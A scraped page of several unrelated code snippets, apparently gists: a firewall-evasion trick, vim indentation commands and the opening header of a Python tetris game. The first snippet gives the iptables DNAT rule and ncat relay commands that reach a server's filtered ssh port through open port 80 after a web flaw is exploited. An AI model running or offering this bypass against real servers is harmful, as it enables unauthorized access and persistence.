Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Victim is a web server that is protected by external firewall. 80 port is opened and 22 (ssh) port is filtered. | |
# You cannot connect ssh into the server in this situation. But if you can run a single command (maybe web vulnerablity), | |
# You can get into the server. | |
victim $ iptables -t nat -A PREROUTING -p tcp --dport 80 --sport 31337 -j DNAT --to :22 | |
attacker $ ncat -e "/bin/nc <victim> 80 -p 31337" -l 2222 | |
attacker $ ssh -p 2222 localhost | |
# Or use iptables |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// 4 spaces to 2 spaces | |
%s;^\(\s\+\);\=repeat(' ', len(submatch(0))/2);g | |
// Tab to 2 spaces | |
:%s/\t/ /g |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
#-*- coding: utf-8 -*- | |
# Very simple tetris implementation | |
# | |
# Control keys: | |
# Down - Drop stone faster | |
# Left/Right - Move stone | |
# Up - Rotate Stone clockwise | |
# Escape - Quit game |